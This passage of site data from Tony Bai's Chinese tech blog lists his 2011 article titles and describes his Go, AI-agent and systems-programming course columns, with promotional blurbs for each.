href=\"https://tonybai.com/2012/01/06/thoughts-on-establishing-a-benign-feedback-mechanisms-inside-the-organization/\"\u003e关于组织内部建立良性提议反馈机制的一些考量\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"二零一一\"\u003e二零一一\u003c/h3\u003e\n\u003ch4 id=\"201112\"\u003e2011.12\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/12/22/book-list-i-have-read-in-2011/\"\u003e2011·读过的书\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/12/21/my-year-end-summary-of-2011/\"\u003e2011小结\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/12/08/buildc-a-building-assistant-tool-for-c-app/\"\u003eC语言项目构建管理辅助工具 – buildc\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/12/01/hack-app-by-buffer-overflow-leak/\"\u003e利用缓冲区溢出漏洞Hack应用\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201111\"\u003e2011.11\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/11/23/those-things-about-knowledge-management/\"\u003e知识管理那些事儿\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/11/18/also-talk-about-restrict-type-qualifier-in-c/\"\u003e也谈C语言的restrict类型修饰符\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/11/07/implement-state-pattern-in-c/\"\u003eState模式的C实现\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/11/04/implement-transaction-pattern-in-c/\"\u003eTransaction模式的C实现\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201110\"\u003e2011.10\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/10/31/improving-efficiency-should-not-only-be-a-slogan/\"\u003e提高效率不是口号\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/10/25/implement-chain-of-responsibility-pattern-in-c/\"\u003eChain of Responsibility模式的C实现\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/10/20/implement-strategy-pattern-in-c/\"\u003eStrategy模式的C实现\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/10/17/the-state-of-c/\"\u003eC语言的现状\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/10/14/implement-observer-pattern-in-c/\"\u003eObserver模式的C实现\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201109\"\u003e2011.09\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/09/26/the-tour-of-tianhua-moutain-in-autumn/\"\u003e秋游天华山\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/09/23/c-programers-tame-common-lisp-series-functions/\"\u003eC程序员驯服Common Lisp – 函数\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/09/20/c-programers-tame-common-lisp-series-variables/\"\u003eC程序员驯服Common Lisp – 变量\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/09/14/c-programers-tame-common-lisp-series-control-structure/\"\u003eC程序员驯服Common Lisp – 控制结构\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/09/09/when-program-version-changed/\"\u003e当可执行程序版本信息变更时\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/09/06/a-tour-of-xizhong-island/\"\u003e西中岛旅记\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/09/05/one-year-old-photos-of-my-daughter/\"\u003e果果一周岁生日靓照\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/09/02/c-programers-tame-common-lisp-series-expressions/\"\u003eC程序员驯服Common Lisp – 表达式\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201108\"\u003e2011.08\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/08/31/simplify-coding-in-c99/\"\u003e使用C99特性简化代码编写\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/08/30/c-programers-tame-common-lisp-series-introduction/\"\u003eC程序员驯服Common Lisp – 入门\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/08/23/solve-portable-problem-with-autoconf/\"\u003e使用autoconf解决可移植性问题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/08/16/some-notes-on-using-bambook/\"\u003eBambook使用手记\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/08/15/cbehave-a-bdd-framework-for-c/\"\u003eCBehave – 一个C语言行为驱动开发框架\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/08/10/introducing-bdd/\"\u003e行为驱动开发导引\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/08/05/some-experience-of-common-lisp-beginner/\"\u003eCommon Lisp初学点滴\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201107\"\u003e2011.07\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/07/21/pay-for-a-tech-debt-of-several-year-ago/\"\u003e偿还N年前的一笔技术债\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/07/13/add-enter-and-exit-trace-for-your-function/\"\u003e为函数添加enter和exit级trace\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/07/07/also-talk-about-shared-library-2/\"\u003e也谈共享库2\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/07/04/also-talk-about-standard-compile-stage-of-c-compiler/\"\u003e也谈C语言编译器的标准编译阶段\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/07/02/also-talk-about-the-first-match-of-agentina-on-2011-copa-america/\"\u003e也谈阿根廷队2011美洲杯首演\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/07/01/also-talk-about-the-internationalization-support-in-c/\"\u003e也谈C语言对国际化的支持\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201106\"\u003e2011.06\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/06/27/configure-multiple-websites-with-apache2/\"\u003e使用Apache2配置多个站点\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/06/22/also-talk-about-inline-function-in-c/\"\u003e也谈C语言的内联函数\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/06/21/solve-a-problem-about-ip-route/\"\u003e解决一个IP路由选择问题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/06/21/hello-common-lisp/\"\u003eHello，Common Lisp\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/06/14/try-pomodoro-technique/\"\u003e小试番茄工作法\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/06/07/use-buildbot-serves-serveral-projects-simultaneously/\"\u003e让BuildBot服务于多个项目\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/06/03/hold-the-coding-rhythm/\"\u003e把握好编码的节奏\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201105\"\u003e2011.05\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/05/31/solve-the-problem-that-buildbot-can-not-send-mail/\"\u003e解决BuildBot构建结果mail无法发送的问题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/05/24/develop-android-app-in-command-line-method/\"\u003e使用命令行方式开发Android应用\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/05/22/among-flowers-the-portray-of-my-daughter/\"\u003e果果写真-一周岁花丛系列\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/05/19/use-command-line-vars-of-make/\"\u003e使用Make的命令行变量\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/05/18/set-up-ci-environment-with-buildbot/\"\u003e使用BuildBot搭建持续集成环境\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/05/10/listen-to-old-maxim-respectfully/\"\u003e聆听编程“古训”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/05/05/comments-only-what-the-code-cannot-say/\"\u003e只对代码无法表达的东西写注释\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/05/03/my-daughter-is-one-year-old/\"\u003e果果一周岁了\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201104\"\u003e2011.04\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/04/29/feel-experience-after-using-ubuntu-for-one-year/\"\u003eUbuntu一年使用感受\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/04/24/i-finally-see-optimus-prime/\"\u003e终于见到擎天柱大哥了！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/04/23/the-boy-scout-rule/\"\u003e童子军规则\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/04/21/apply-style-check-to-c-code/\"\u003e应用C语言代码风格检查\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/04/19/use-the-right-algorithm-and-data-structure/\"\u003e使用正确的算法和数据结构\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/04/10/bring-my-daughter-outdoor-in-sping/\"\u003e带果果到户外感受春天\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201103\"\u003e2011.03\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/03/26/fulfill-your-ambitions-with-opensource/\"\u003e借开源实现你的雄心壮志\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/03/23/also-talk-about-solving-the-svn-conflicts/\"\u003e也谈SVN冲突解决\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/03/22/you-gotta-care-about-the-code/\"\u003e你应该关心你的代码\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/03/21/upgrade-thunderbird/\"\u003e升级Thunderbird\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/03/21/do-not-give-up-your-standard-first/\"\u003e别放弃你的标准\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/03/17/improve-code-by-removing-it/\"\u003e通过精减来改善代码\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/03/16/know-how-to-use-command-line-tool/\"\u003e知道如何使用命令行工具\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/03/12/the-earthquake-happened-in-japan/\"\u003e现实版灾难片-日本大地震\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/03/04/some-experience-on-using-review-board/\"\u003eReview Board的几点使用体会\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/03/01/buy-an-ergonomic-chair/\"\u003e买了把人体工学座椅\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201102\"\u003e2011.02\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/02/24/the-professional-programmer/\"\u003e专业程序员\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/02/23/continous-learning/\"\u003e持续学习\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/02/22/code-reviews/\"\u003e代码评审\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/02/18/put-everything-under-version-control/\"\u003e把一切都纳入版本控制\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/02/16/automate-your-coding-standard/\"\u003e将你的编码标准自动化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/02/15/before-you-refactor/\"\u003e在你重构之前\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/02/02/happy-spring-festival-from-my-daughter-2011/\"\u003e果果给您拜年了\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201101\"\u003e2011.01\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/01/28/terrible-eyes/\"\u003e眼神儿太差了\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/01/26/the-expectations-of-my-colleagues-in-2011/\"\u003e2011·同事对我的期望\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/01/24/response-for-the-interface-prototype-change/\"\u003e应对库接口原型变更\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/01/24/booklist-2011-01-24/\"\u003e说书单2011.01.24\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/01/21/encounter-byte-order-problem-again/\"\u003e又遇字节序问题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/01/20/try-git-svn/\"\u003e小试git-svn\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/01/11/leomessi-defend-his-ballon-dor/\"\u003e梅西给力，蝉联金球\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/01/08/do-not-forget-to-test-your-assumption/\"\u003e别忘了测试你的假定\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/01/04/about-year-end-summary/\"\u003e关于年终总结\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2011/01/01/happy-new-year-from-my-daughter-2011/\"\u003e果果祝大家新年快乐\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e","title":"文章列表"},{"content":"\n本文永久链接 – https://tonybai.com/tech-column\n大家好，我是Tony Bai。\n欢迎来到我的技术专栏汇总页。\n在多年的技术创作中，我始终致力于连接两个世界：一个是计算机科学的底层世界，那里充满了优雅的原理和不变的基石；另一个是软件工程的实践世界，那里充满了复杂的挑战和具体的“坑”。\n在这里，你将找到我围绕这个核心理念创作的所有内容——从极客时间的深度专栏，到公众号上的“微专栏”系列。它们共同构成了一张我个人的技术成长与探索地图。\n特别是对于 Go 语言，我倾注了大量的热情。你可以在这里找到一个完整的学习路径：从入门时的语言精髓解惑（如 切片、map、接口、并发、泛型、Go模块构建等），到进阶时的Go项目布局、并发设计、包/接口/API设计、程序骨架、可观测与性能调优等，再到深入原理与实践的Goroutine调度、eBPF、数据库内核实现。我的目标，是与你一起，用 Go 这把锋利的“瑞士军刀”，去构建真正坚固、高效的系统。\n我希望这些文字，不仅能为你提供具体的知识和“How-to”，更能传递一种系统性思考和动手实践的精神。通过这些专栏，我希望我们能一起，构建起一个更深、更广的技术认知体系。\n感谢你的阅读，期待与你一同成长。\n极客时间专栏 《从 0 开始构建 Agent Harness》 平台： 极客时间专栏 一句话介绍： 这门课将帮助你彻底理解 Harness（驾驭工程）与传统 Framework 的本质区别，掌握顶级开源项目 OpenClaw/Claude Code 的极简设计哲学。亲手构建并拥有一个名为 go-tiny-claw 的强悍底层引擎。 状态： 连载中 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《AI原生开发工作流实战》 平台： 极客时间专栏 一句话介绍： 这门课将教你一套系统性的AI原生开发方法论，让你从一个被动的“AI使用者”，进化为能驾驭任何Coding Agent（包括Claude Code）的“工作流指挥家”。 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《Go语言第一课》 平台： 极客时间专栏 一句话介绍： 这是一门为你构建 Go 语言完整知识体系与扎实工程思维的入门宝典，经过市场检验，获得2.4 万人好评，凝结了我十余年的 Go 实战与布道经验，旨在帮你不仅学会 Go，更能学好 Go。 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 专栏FAQ -\u0026gt; 点击链接 《Go语言进阶课》 平台： 极客时间专栏 一句话介绍： 这门课将带你跨越Go语言从熟练到精通的关键门槛，通过深入语法、设计原则与全方位的工程实践，助你成为一名能够构建和驾驭生产级Go服务的资深工程师。 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 专栏FAQ -\u0026gt; 点击链接 微专栏 Go 语言进阶与工程实践 代码是思想的表达，而工程是思想的落地。\n《征服Go并发测试》 平台： 公众号微专栏 一句话介绍： 还在为 Go 并发测试的 flaky 和龟速抓狂吗？time.Sleep 调到手软，bug 依旧神出鬼没？本微专栏（共3篇）将带你彻底告别并发测试“玄学”！我们将深入剖析 Go 1.25 并发测试“新武器”——testing/synctest，从痛点到官方设计，再到实战案例，手把手教你用“气泡”与“合成时间”驯服并发猛兽，写出闪电般快速、坚如磐石的并发测试！立即解锁，让你的 Go 并发技能跃迁！ 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《Go并发调度艺术》 平台： 公众号微专栏 一句话介绍： 厌倦了死记硬背GMP？本专栏带你换个视角，跟随Go调度器核心设计者Dmitry Vyukov的思路，亲历调度器的诞生与进化。从Goroutine轻量化初心，到M:N模型的早期探索与瓶颈；从P的引入构建可伸缩的GMP引擎，到工作窃取的负载均衡智慧；再到公平性、动态栈与优雅抢占的艺术匠心。三篇深度剖析，更像是一次与顶尖工程师设计思想的对话，让你真正理解“为什么这么设计”，将调度器原理内化为直觉与常识。 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《Go并发心智模型课》 平台： 公众号微专栏 一句话介绍： 本专栏是为有经验的开发者设计的“Go并发心智模型”转变教程。如果你对 Go 的 Channel 和 Mutex 感到困惑，这门课将带你完成一次思维的“破冰”与“重塑”。我们将通过三节精心设计的课程，从“共享内存”的旧思维，彻底转向 Go 所倡导的“信道通信”新范式。你将学会用 Go 的方式，构建出真正健壮、优雅且可维护的并发程序。告别陷阱，拥抱地道的 Go 并发哲学！ 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《Go密码学101》 平台： 公众号微专栏 一句话介绍： 本专栏将带你系统性地解答程序员对密码学的“疑惑”。我们不罗列枯燥理论，而是通过 7 篇精心设计的、从密码学问题出发 Go 实战教程，从最基础的 XOR，到哈希、AES、密钥交换，再到现代黄金标准 AES-GCM、数字签名，最后攻克 bcrypt 密码存储。 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《用Go解锁位运算之美》 平台： 公众号微专栏 一句话介绍： 该合集聚焦于位操作的核心技巧与实战应用，是Go 开发者的位运算进阶指南。 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《重塑终端：Go TUI开发入门课》 平台： 公众号微专栏 一句话介绍： 专为 Go开发者打造的 TUI （Terminal UI）入门微专栏！覆盖Elm核心架构、异步消息、组件化和 UI 样式，并亲手完成一个功能完备的终端项目，大幅提升你写的 Go 工具的交互体验。 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《Go系统编程：揭秘进程控制、I/O与IPC》 平台： 公众号微专栏 一句话介绍： 这是一门写给 Go 工程师的底层“进阶课”。我们不谈应用，只揭秘系统编程的核心：进程控制、I/O 与 IPC。通过硬核实战与原理剖析，让你真正掌握构建高效、可靠的系统级工具与服务的能力。 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《Go Context解惑：从原理到最佳实践》 平台： 公众号微专栏 一句话介绍： 深入 context 包的“前世今生”，从诞生背景到源码实现，再到最常见的“天坑”与最佳实践，彻底征服这个最难的 Go 标准库。 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《Go网络编程全解：从Socket到HTTP/3》 平台： 公众号微专栏 一句话介绍： 深入 net 包的设计哲学，从底层 Socket 编程到探索下一代互联网协议 QUIC/HTTP3，构建高性能网络服务。 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《Go模块构建与依赖管理：从入门到精通》 平台： 公众号微专栏 一句话介绍： 一份系统性梳理 Go 依赖管理“前世今生”，覆盖从 go.mod 原理、go.work 实践、Go模块作者和使用者工作流 到 K8s 案例解剖的终极指南。 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《Go 测试之道：从测试金字塔到高级实践》 平台： 公众号微专栏 一句话介绍： 这是一份 Go 工程师的“交付信心”实战指南，带你从构建坚固的“测试金字塔”，到掌握 Fuzzing、混沌工程等高级武器，彻底告别上线前的“祈祷”，拥有自信重构、随时发布的工程能力。。 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《Go性能工程：从底层到并发的实战课》 平台： 公众号微专栏 一句话介绍： xxx 状态： 策划中 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 AI、GPU 与前沿计算 在这个时代，我们不仅是技术的消费者，更应是创造者。\n《Agentic API 实战：为 AI 智能体设计下一代接口》 平台： 公众号微专栏 一句话介绍： 本专栏直击 AI 时代的后端架构痛点，彻底抛弃过时的 CRUD 思维。我们将用 Go 语言，手把手带你设计和实现一套“Agent-Ready（AI就绪）”的API 接口体系：从 ACTION 动词重构，到语义发现，再到 Dry Run 安全模式。学完后，你将掌握为 AI 构建下一代 API 的核心能力，抓住自动化浪潮的红利。 专栏介绍： 点击链接 状态： 已完成 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《AI 工程师的 GPU 入门课：从硬件视角看大模型推理》 平台： 公众号微专栏 一句话介绍： 本专栏深度拆解大模型推理背后的 GPU 硬件机制与优化之道。涵盖显存管理、CUDA 逻辑、注意力加速及量化实战。助你建立系统的算力心智模型，攻克性能瓶颈。特别收录 Go 语言调用硬件方案，助力开发者实现工程精进。 专栏介绍： 点击链接 状态： 已完成 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《打破黑盒：用工程思维构建工业级 Agent Skill》 平台： 公众号微专栏 一句话介绍： AI时代编程变快了，控制AI却变难了。面对“玄学Prompt”和黑盒工具，你急需一套严谨的工程范式。本专栏以官方skill-creator为蓝图，深度解密多智能体协作底层逻辑。带你手搓高精度触发器、编写鉴别性断言，并利用“双盲对比”与全自动测试流水线实现技能的自我进化。订阅专栏，掌握架构级Agent开发核心技术，告别低效，成为指挥硅基研发团队的超级指挥官！ 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《AI 智能体时代的软件工程》 平台： 公众号微专栏 一句话介绍： AI时代，代码生成成本趋于零，架构审查难度却急剧攀升，传统研发机制正在失效。本专栏专为资深开发者与技术Leader打造，带你告别靠提示词盲猜的“氛围编程”。通过任务简报、双态工作台、协同流水线及决策物料清单等全新范式，教你把AI的随机性关进工程的笼子里，重塑研发体系，从容驾驭百倍产能的智能体大军！ 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《Google ADK 实战：用 Go 构建可靠的 AI Agent》 平台： 公众号微专栏 一句话介绍： 在 AI Agent 的浪潮中，Gopher 如何入局？本专栏将带你深入 Google 官方推出的 Go Agent 开发框架（adk-go）。我们将彻底告别“炼丹”，拥抱“工程”，以“代码优先”的理念，从零开始，手把手构建一个拥有记忆、工具和复杂工作流的 AI Agent。学完本专栏，你将掌握一套可测试、可部署的 AI Agent 工程化方法论。 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《AI应用开发第一课》 平台： 公众号微专栏 一句话介绍： 这是一份专为 Gopher 打造的 AI 入局实战指南。课程体系化地讲解了 LLM 交互、Prompt 设计与 Go SDK 核心技能，并通过一个 AI GitHub 助手项目，将所有知识融会贯通。学完本课，你将拥有独立构建 AI 应用的硬核实力，自信地从 AI“旁观者”变为“构建者”。 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《Gemini CLI：重新定义命令行AI开发》 平台： 公众号微专栏 一句话介绍： 专为键盘流开发者打造的 AI 效率指南。本专栏将通过 5 篇入门和进阶实战，带你彻底掌握 Google Gemini CLI。告别鼠标与 GUI，你将学会在命令行的心流中，指挥 AI 分析代码、安全重构、并自动化你的完整工作流。让 AI 真正成为你终端里的原生伙伴。 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 底层系统与数据库内核 深入地基，才能建造摩天大楼。\n软件架构与设计哲学 优雅的设计，是应对软件复杂度的终极武器。\n《AI 时代软件工程师的算法图谱》 平台： 公众号微专栏 一句话介绍： AI时代，编码趋于零成本，但设计直觉不可替代。本专栏精选15类核心算法模式，用Go语言深度解构。拒绝死记硬背，带你\u0026gt;从刷题进阶到手搓限流器、LRU缓存、搜索引擎补全等硬核工程。重塑算法直觉，掌握架构师级的思考力。 专栏介绍： 点击链接 状态： 连载中 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《分布式系统：原理、哲学与实战》 平台： 公众号微专栏 一句话介绍： 从底层原理到手写 Raft，为 Gopher 量身定制的通往分布式架构师的实战“黄金地图”。 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《API 设计之道：从设计模式到 Gin 工程化实现》 平台： 公众号微专栏 一句话介绍： 拒绝“面条代码”，重塑架构思维。本专栏深度融合 Google AIP 规范与 Gin 工程化实践，带你跨越 CRUD。从资源导向、字段掩码到幂等治理、分布式限流，10 讲硬核实战，打通从设计模式到代码落地的闭环，助你掌握构建企业级高可用 API 的核心方法论。 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《Go开发者的数据库设计之道》 平台： 公众号微专栏 一句话介绍： 本微专栏将通过从零开始设计并实现一个 Go 项目的数据库，带你系统掌握从 ER 图、范式化、性能优化，到代码落地与平滑演进的全套现代数据库设计与工程实践。 专栏介绍： 点击链接 状态： 已完结 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 《写给Go工程师的DDD设计实录》 平台： 公众号微专栏 一句话介绍： 一套“反教条”的 DDD 入门实战指南，从事件风暴到 TDD 建模，再到分层架构和事件驱动解耦。 专栏介绍： 点击链接 状态： 策划中 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 其他语言与探索 保持好奇，永远是一名探索者。\n《Rust 学习：事不过三》 平台： 公众号微专栏 一句话介绍： 以“第三次学习 Rust”的“学伴”视角，坦诚记录重学之路上的每一步思考、每一个“坑”和每一次“顿悟”。 专栏介绍： 点击链接 状态： 策划中 阅读入口 -\u0026gt; 点击链接或扫描下图中的二维码。 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/tech-column/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" 